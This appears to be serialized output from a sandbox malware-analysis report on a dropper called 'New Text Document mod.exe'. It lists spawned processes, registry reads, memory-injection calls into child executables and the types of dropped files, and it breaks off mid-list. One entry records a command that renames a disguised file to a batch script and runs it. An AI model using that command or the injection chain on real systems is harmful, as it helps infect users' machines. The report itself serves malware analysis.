,int3 ,push r15,push r14,push r13,push r12,push rsi,push rdi,push rbp,push rbx,sub rsp, 0x6d8,mov eax, dword ptr [rip + 0xcd137],mov r8d, dword ptr [rip + 0xcd12c],lea edx, [rax + 1],imul edx, eax,test dl, 1,sete byte ptr [rsp + 0x78],mov edx, 0x8843deca,mov eax, 0x8722c0ec,cmove eax, edx,cmp r8d, 0xa,setl byte ptr [rsp + 0xa8],cmovl eax, edx,"63:T550,"NewTextDocumentmod.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "NewTextDocumentmod.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "NewTextDocumentmod.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL\USER PROFILE"; Key: "LANGUAGES") "NewTextDocumentmod.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL\GEO"; Key: "NAME") "cooking.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "cooking.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "TLauncher-Installer-1.9.4.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL\USER PROFILE"; Key: "LANGUAGES") "TLauncher-Installer-1.9.4.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL\GEO"; Key: "NAME") "TLauncher-Installer-1.9.4.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "TLauncher-Installer-1.9.4.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "TLauncher-Installer-1.9.4.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "irsetup.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY")64:T1025,Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00002000-00000C2D-2043780717] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00002000-00000C2A-3200152992] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00002000-00000C2A-3200302206] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00002000-00000C2A-3200506896] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\3b9003e4f27d92e40668f0efad11e022\mscorlib.ni.dll" [Source: 00000000-00002000-00000C2A-3200703782] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00002000-00000C2A-3200738814] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00002000-00000C2A-3200842294] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll" [Source: 00000000-00002000-00000C2A-3201073769] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\ce0fd4f5b50baa17e7b80e4ee874ad11\System.ni.dll" [Source: 00000000-00002000-00000C2A-3201132379] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\990501e6199819806f01c8ecac88baac\System.Core.ni.dll" [Source: 00000000-00002000-00000C2A-3201184972] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\46c2f46666e40896049aed7e4ed25573\Microsoft.VisualBasic.ni.dll" [Source: 00000000-00002000-00000C2A-3201282402] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\2a25b59872a72da9b55f952ab1b0bc8b\System.Configuration.ni.dll" [Source: 00000000-00002000-00000C2A-3201428302] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\f0078c8c05b31633e5966c5629e65602\System.Xml.ni.dll" [Source: 00000000-00002000-00000C2A-3201486048] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" [Source: 00000000-00002000-00000C2A-3201902233] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00002000-00000C2A-3202203287] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll" [Source: 00000000-00002000-00000C2A-3202456655] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" [Source: 00000000-00002000-00000C2A-3202931569] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll" [Source: 00000000-00002000-00000C2A-3203048890] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00002000-00000C2A-3203364782] Observed system executable string:"%WINDIR%\system32\en-US\tzres.dll.mui" [Source: 00000000-00002000-00000C2A-3203637264] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" [Source: 00000000-00002000-00000C2A-3203824018] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" [Source: 00000000-00002000-00000C2A-3204148832] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" [Source: 00000000-00002000-00000C2A-3204782591] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" [Source: 00000000-00002000-00000C2A-3205069465] Observed system executable string:"%WINDIR%\system32\advapi32.dll" [Source: 00000000-00005036-00000C2A-3217694798]65:T419,Spawned process "cooking.exe" (UID: 00000000-00005036) Spawned process "attrib.exe" (UID: 00000000-00001452) Spawned process "cmd.exe" with commandline "cmd /c move Pet.wms Pet.wms.bat && Pet.wms.bat" (UID: 00000000-00007356) Spawned process "TLauncher-Installer-1.9.4.exe" (UID: 00000000-00001088) Spawned process "lJ5IwxN.exe" (UID: 00000000-00008516) Spawned process "irsetup.exe" with commandline "__IRAOFF:3969818 "__IRAFN:C:\\a\\TLauncher-Installer-1.9.4.exe" ..." (UID: 00000000-00005524) Spawned process "elf.exe" (UID: 00000000-00004944) Spawned process "sys.exe" (UID: 00000000-00005840) Spawned process "sup.exe" (UID: 00000000-00008492) Spawned process "tmp.exe" (UID: 00000000-00002136) Spawned process "crypted_guardfile.exe" (UID: 00000000-00008220) Spawned process "random.exe" (UID: 00000000-00000968) Spawned process "rabert.exe" (UID: 00000000-00005772) Spawned process "tmpFB41.tmp" (UID: 00000000-00001624) Spawned process "docx.exe" (UID: 00000000-00002372) Spawned process "window.exe" (UID: 00000000-00007960)66:T419,Spawned process "cooking.exe" (UID: 00000000-00005036) Spawned process "attrib.exe" (UID: 00000000-00001452) Spawned process "cmd.exe" with commandline "cmd /c move Pet.wms Pet.wms.bat && Pet.wms.bat" (UID: 00000000-00007356) Spawned process "TLauncher-Installer-1.9.4.exe" (UID: 00000000-00001088) Spawned process "lJ5IwxN.exe" (UID: 00000000-00008516) Spawned process "irsetup.exe" with commandline "__IRAOFF:3969818 "__IRAFN:C:\\a\\TLauncher-Installer-1.9.4.exe" ..." (UID: 00000000-00005524) Spawned process "elf.exe" (UID: 00000000-00004944) Spawned process "sys.exe" (UID: 00000000-00005840) Spawned process "sup.exe" (UID: 00000000-00008492) Spawned process "tmp.exe" (UID: 00000000-00002136) Spawned process "crypted_guardfile.exe" (UID: 00000000-00008220) Spawned process "random.exe" (UID: 00000000-00000968) Spawned process "rabert.exe" (UID: 00000000-00005772) Spawned process "tmpFB41.tmp" (UID: 00000000-00001624) Spawned process "docx.exe" (UID: 00000000-00002372) Spawned process "window.exe" (UID: 00000000-00007960)67:Te11,The input sample is signed with a certificate issued by "CN=R12, O=Let's Encrypt, C=US" (SHA1: CE:36:86:5A:38:B0:15:84:74:10:C1:9A:DA:EA:D5:CE:C2:54:E2:3C; see report for more information) The input sample is signed with a certificate issued by "CN=ISRG Root X1, O=Internet Security Research Group, C=US" (SHA1: EE:44:78:28:35:D8:FB:31:39:4D:A5:CE:B8:40:DC:93:84:9B:CF:5A; see report for more information) The input sample is signed with a certificate issued by "CN=Sectigo RSA Domain Validation Secure Server CA, O=Sectigo Limited, L=Salford, ST=Greater Manchester, C=GB" (SHA1: 5D:6D:36:93:82:B0:86:8C:34:E1:1C:17:01:59:A3:F1:75:8A:A3:7B; see report for more information) The input sample is signed with a certificate issued by "CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US" (SHA1: 33:E4:E8:08:07:20:4C:2B:61:82:A3:A1:4B:59:1A:CD:25:B5:F0:DB; see report for more information) The input sample is signed with a certificate issued by "CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US" (SHA1: 2B:8F:1B:57:33:0D:BB:A2:D0:7A:6C:51:F7:0E:E9:0D:DA:B9:AD:8E; see report for more information) The input sample is signed with a certificate issued by "CN=R13, O=Let's Encrypt, C=US" (SHA1: 09:32:6F:4B:75:E6:90:DC:D1:BC:82:A8:3D:21:88:1D:C4:38:C4:D8; see report for more information) The input sample is signed with a certificate issued by "CN=ISRG Root X1, O=Internet Security Research Group, C=US" (SHA1: 22:FF:89:58:65:61:FC:2D:52:F7:74:91:E9:F1:EF:F1:B8:0B:E3:3E; see report for more information) The input sample is signed with a certificate issued by "CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com Inc.", L=Scottsdale, ST=Arizona, C=US" (SHA1: 4A:7A:E5:C0:AB:80:C9:25:E0:D1:7E:CE:DB:5D:C2:B6:45:F2:9B:DF; see report for more information) The input sample is signed with a certificate issued by "CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com Inc.", L=Scottsdale, ST=Arizona, C=US" (SHA1: 27:AC:93:69:FA:F2:52:07:BB:26:27:CE:FA:CC:BE:4E:F9:C3:19:B8; see report for more information) The input sample is signed with a certificate issued by "CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com Inc.", L=Scottsdale, ST=Arizona, C=US" (SHA1: 47:BE:AB:C9:22:EA:E8:0E:78:78:34:62:A7:9F:45:C2:54:FD:E6:8B; see report for more information) The input sample is signed with a certificate issued by "CN=Sectigo Public Server Authentication CA DV R36, O=Sectigo Limited, C=GB" (SHA1: 53:6D:B2:12:32:A0:53:30:3C:CE:1A:34:67:D3:A3:FE:09:16:F6:C5; see report for more information) The input sample is signed with a certificate issued by "CN=Sectigo Public Server Authentication Root R46, O=Sectigo Limited, C=GB" (SHA1: DD:55:B4:52:02:91:E2:76:58:8F:0D:D0:2F:AF:D8:3A:73:68:E0:FA; see report for more information) The input sample is signed with a certificate issued by "CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US" (SHA1: 2B:18:94:7A:6A:9F:C7:76:4F:D8:B5:FB:18:A8:63:B0:C6:DA:C2:4F; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign Atlas R3 DV TLS CA 2025 Q1, O=GlobalSign nv-sa, C=BE" (SHA1: AB:40:20:65:C8:E5:63:41:77:AE:DD:C2:96:DD:BD:6A:45:93:2A:52; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R3" (SHA1: 9C:5C:B6:70:70:BE:3B:68:5C:CB:F8:D1:EA:02:28:2B:65:05:33:A0; see report for more information)68:T976,"NewTextDocumentmod.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "2860" "BaseAddress": "0000023A64EE0000" "Buffer": "1C4F3E50" "NumberOfBytesToWrite": "000011C0" "$name": "C:\\a\\cooking.exe"} "NewTextDocumentmod.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "2860" "BaseAddress": "000000C602D2D2D8" "Buffer": "012FC3D0" "NumberOfBytesToWrite": "00000008" "$name": "C:\\a\\cooking.exe"} "NewTextDocumentmod.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "2856" "BaseAddress": "00FB0000" "Buffer": "1C50F680" "NumberOfBytesToWrite": "000011C0" "$name": "C:\\a\\TLauncher-Installer-1.9.4.exe"} "NewTextDocumentmod.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "2856" "BaseAddress": "0100E2D8" "Buffer": "012FC3D0" "NumberOfBytesToWrite": "00000008" "$name": "C:\\a\\TLauncher-Installer-1.9.4.exe"} "NewTextDocumentmod.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "2856" "BaseAddress": "0100F1E8" "Buffer": "012FC418" "NumberOfBytesToWrite": "00000004" "$name": "C:\\a\\TLauncher-Installer-1.9.4.exe"} "NewTextDocumentmod.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "2856" "BaseAddress": "000002013B740000" "Buffer": "1C50F680" "NumberOfBytesToWrite": "000011C0" "$name": "C:\\a\\lJ5IwxN.exe"} "NewTextDocumentmod.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "2856" "BaseAddress": "0000009C0E5B12D8" "Buffer": "012FC3D0" "NumberOfBytesToWrite": "00000008" "$name": "C:\\a\\lJ5IwxN.exe"} "NewTextDocumentmod.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "2880" "BaseAddress": "00160000" "Buffer": "1C50F680" "NumberOfBytesToWrite": "000011C0" "$name": "C:\\a\\elf.exe"} "NewTextDocumentmod.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "2880" "BaseAddress": "002592D8" "Buffer": "012FC3D0" "NumberOfBytesToWrite": "00000008" "$name": "C:\\a\\elf.exe"} "NewTextDocumentmod.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "2868" "BaseAddress": "00160000" "Buffer": "1C50F680" "NumberOfBytesToWrite": "000011C0" "$name": "C:\\a\\sys.exe"} "NewTextDocumentmod.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "2868" "BaseAddress": "002AA2D8" "Buffer": "012FC3D0" "NumberOfBytesToWrite": "00000008" "$name": "C:\\a\\sys.exe"}69:T611,Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "New Text Document mod.exe") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "New Text Document mod.exe") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "New Text Document mod.exe") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp")6a:T14f22,"KI6Doqb.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"- [targetUID: N/A] "TLauncher-Installer-1.9.4.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 5 sections"- Location: [C:\a\TLauncher-Installer-1.9.4.exe]- [targetUID: 00000000-00002000] "TransmitteD.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 6 sections"- [targetUID: N/A] "C8c1bbe.exe" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 11 sections"- [targetUID: N/A] "syswinprdrvc.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 7 sections"- [targetUID: N/A] "MSTeams.exe" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 (stripped to external PDB) 7 sections"- [targetUID: N/A] "GL0ygTD.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 8 sections"- [targetUID: N/A] "BrowserInstaller.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 5 sections"- Location: [%TEMP%\BrowserInstaller.exe]- [targetUID: 00000000-00005524] "0rXld4E.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- [targetUID: N/A] "rabert.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 7 sections"- Location: [C:\a\rabert.exe]- [targetUID: 00000000-00002000] "multifunctionalbackup294.exe" has type "PE32 executable for MS Windows 4.01 (GUI) Intel i386 5 sections"- [targetUID: N/A] "lJ5IwxN.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 7 sections"- Location: [C:\a\lJ5IwxN.exe]- [targetUID: 00000000-00002000] "315336607.msi" has type "Composite Document File V2 Document Little Endian Os: Windows Version 6.2 MSI Installer Code page: 1252 Title: Installation Database Subject: FleetDeck Agent Author: FleetDeck Inc Keywords: Installer Comments: This installer database contains the logic and data required to install FleetDeck Agent. Template: Intel;1033 Revision Number: {EA3720AE-83D6-4503-B151-68A5E71935EC} Create Time/Date: Sat Mar 1 07:31:36 2025 Last Saved Time/Date: Sat Mar 1 07:31:36 2025 Number of Pages: 500 Number of Words: 2 Name of Creating Application: Windows Installer XML Toolset (3.11.2.4516) Security: 2"- [targetUID: N/A] "8RsL970.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"- [targetUID: N/A] "Setup.exe" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 11 sections"- Location: [%PROGRAMFILES%\(x86)\Company\NewProduct\Setup.exe]- [targetUID: 00000000-00000968] "fz0oKy4.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 10 sections"- [targetUID: N/A] "irsetup.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 UPX compressed 3 sections"- Location: [%TEMP%\_ir_sf_temp_0\irsetup.exe]- [targetUID: 00000000-00005524] "random.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 8 sections"- Location: [C:\a\random.exe]- [targetUID: 00000000-00002000] "cooking.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"- Location: [C:\a\cooking.exe]- [targetUID: 00000000-00002000] "server.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 Mono/.Net assembly 3 sections"- [targetUID: N/A] "fzCgCtE.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"- [targetUID: N/A] "chrome_inject.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 7 sections"- [targetUID: N/A] "crypted_guardfile.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"- Location: [C:\a\crypted_guardfile.exe]- [targetUID: 00000000-00008220] "ZAjTMWu.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 6 sections"- [targetUID: N/A] "vulkan-1.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 9 sections"- [targetUID: N/A] "06bK6nU.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 (stripped to external PDB) 10 sections"- [targetUID: N/A] "HCBSXXl.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 4 sections"- [targetUID: N/A] "info.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- [targetUID: N/A] "dva.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"- [targetUID: N/A] "lua5.3.dll" has type "PE32 executable for MS Windows 5.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\_ir_sf_temp_0\lua5.3.dll]- [targetUID: 00000000-00005524] "Client-built.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 Mono/.Net assembly 3 sections"- [targetUID: N/A] "elf.exe" has type "PE32+ executable for MS Windows 4.00 (GUI) x86-64 3 sections"- Location: [C:\a\elf.exe]- [targetUID: 00000000-00004944] "sup.exe" has type "PE32+ executable for MS Windows 4.00 (GUI) x86-64 3 sections"- Location: [C:\a\sup.exe]- [targetUID: 00000000-00008492] "sys.exe" has type "PE32+ executable for MS Windows 4.00 (GUI) x86-64 3 sections"- Location: [C:\a\sys.exe]- [targetUID: 00000000-00002000] "meitu.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- [targetUID: N/A] "Uninstall.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 8 sections"- Location: [%PROGRAMFILES%\(x86)\Company\NewProduct\Uninstall.exe]- [targetUID: 00000000-00000968] "windows.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [C:\a\windows.exe]- [targetUID: 00000000-00002000] "window.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [C:\a\window.exe]- [targetUID: 00000000-00002000] "x.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 Mono/.Net assembly 3 sections"- [targetUID: N/A] "xeno.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 Mono/.Net assembly 3 sections"- [targetUID: N/A] "syschnu.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 4 sections"- [targetUID: N/A] "xtest.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 Mono/.Net assembly 3 sections"- [targetUID: N/A] "docx.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 6 sections"- Location: [C:\a\docx.exe]- [targetUID: 00000000-00002000] "tmp.exe" has type "PE32+ executable for MS Windows 4.00 (GUI) x86-64 3 sections"- Location: [C:\a\tmp.exe]- [targetUID: 00000000-00002000] "_iscrypt.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 3 sections"- [targetUID: N/A] "C8c1bbe.tmp" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 11 sections"- [targetUID: N/A] "is-GGR2F.tmp" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- [targetUID: N/A] "is-GC82H.tmp" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- [targetUID: N/A] "Trails.scr" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 7 sections"- [targetUID: N/A] "is-0QRHU.tmp" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- [targetUID: N/A] "is-VDH2G.tmp" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 8 sections"- [targetUID: N/A] "GL0ygTD.tmp" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 8 sections"- [targetUID: N/A] "tmpFB41.tmp" has type "PE32+ executable for MS Windows 4.00 (GUI) x86-64 Mono/.Net assembly 2 sections"- Location: [%TEMP%\tmpFB41.tmp]- [targetUID: 00000000-00008220] "is-CLTRJ.tmp" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 19 sections"- [targetUID: N/A] "cmdres.DLL" has type "PE32+ executable for MS Windows 5.02 (DLL) x86-64 6 sections"- [targetUID: N/A] "is-4KKMM.tmp" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 4 sections"- [targetUID: N/A] "IRZip.lmd" has type "PE32 executable for MS Windows 5.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\_ir_sf_temp_0\IRZip.lmd]- [targetUID: 00000000-00005524] "Wow64.lmd" has type "PE32 executable for MS Windows 5.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\_ir_sf_temp_0\Wow64.lmd]- [targetUID: 00000000-00005524] "is-R5VH8.tmp" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- [targetUID: N/A] "is-2JO42.tmp" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- [targetUID: N/A] "is-L44IL.tmp" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- [targetUID: N/A] "_setup64.tmp" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 5 sections"- [targetUID: N/A] "licPH.html" has type "HTML document ASCII text with very long lines (395) with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\licPH.html]- [targetUID: 00000000-00005524] "licGR.html" has type "HTML document ISO-8859 text with very long lines (381) with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\licGR.html]- [targetUID: 00000000-00005524] "licRU.html" has type "HTML document ISO-8859 text with very long lines (377) with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\licRU.html]- [targetUID: 00000000-00005524] "licBY.html" has type "HTML document ISO-8859 text with very long lines (378) with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\licBY.html]- [targetUID: 00000000-00005524] "licDE.html" has type "HTML document ISO-8859 text with very long lines (374) with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\licDE.html]- [targetUID: 00000000-00005524] "licID.html" has type "HTML document ASCII text with very long lines (372) with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\licID.html]- [targetUID: 00000000-00005524] "licBG.html" has type "HTML document Non-ISO extended-ASCII text with very long lines (381) with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\licBG.html]- [targetUID: 00000000-00005524] "licMY.html" has type "HTML document ASCII text with very long lines (370) with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\licMY.html]- [targetUID: 00000000-00005524] "licMK.html" has type "HTML document Non-ISO extended-ASCII text with very long lines (373) with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\licMK.html]- [targetUID: 00000000-00005524] "licUA.html" has type "HTML document ISO-8859 text with very long lines (364) with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\licUA.html]- [targetUID: 00000000-00005524] "licRO.html" has type "HTML document ISO-8859 text with very long lines (380) with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\licRO.html]- [targetUID: 00000000-00005524] "licPL.html" has type "HTML document Non-ISO extended-ASCII text with very long lines (374) with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\licPL.html]- [targetUID: 00000000-00005524] "licHU.html" has type "HTML document ISO-8859 text with very long lines (371) with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\licHU.html]- [targetUID: 00000000-00005524] "licCZ.html" has type "HTML document ISO-8859 text with very long lines (395) with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\licCZ.html]- [targetUID: 00000000-00005524] "licSK.html" has type "HTML document ISO-8859 text with very long lines (388) with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\licSK.html]- [targetUID: 00000000-00005524] "licCA.html" has type "HTML document ISO-8859 text with very long lines (354) with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\licCA.html]- [targetUID: 00000000-00005524] "licSE.html" has type "HTML document ISO-8859 text with very long lines (365) with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\licSE.html]- [targetUID: 00000000-00005524] "licHR.html" has type "HTML document ISO-8859 text with very long lines (356) with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\licHR.html]- [targetUID: 00000000-00005524] "licSI.html" has type "HTML document ISO-8859 text with very long lines (363) with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\licSI.html]- [targetUID: 00000000-00005524] "licLT.html" has type "HTML document ISO-8859 text with very long lines (356) with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\licLT.html]- [targetUID: 00000000-00005524] "licBA.html" has type "HTML document Non-ISO extended-ASCII text with very long lines (364) with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\licBA.html]- [targetUID: 00000000-00005524] "licES.html" has type "HTML document ISO-8859 text with very long lines (352) with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\licES.html]- [targetUID: 00000000-00005524] "licLV.html" has type "HTML document ISO-8859 text with very long lines (349) with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\licLV.html]- [targetUID: 00000000-00005524] "licSRCR.html" has type "HTML document Non-ISO extended-ASCII text with very long lines (364) with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\licSRCR.html]- [targetUID: 00000000-00005524] "licFR.html" has type "HTML document ISO-8859 text with very long lines (355) with CRLF 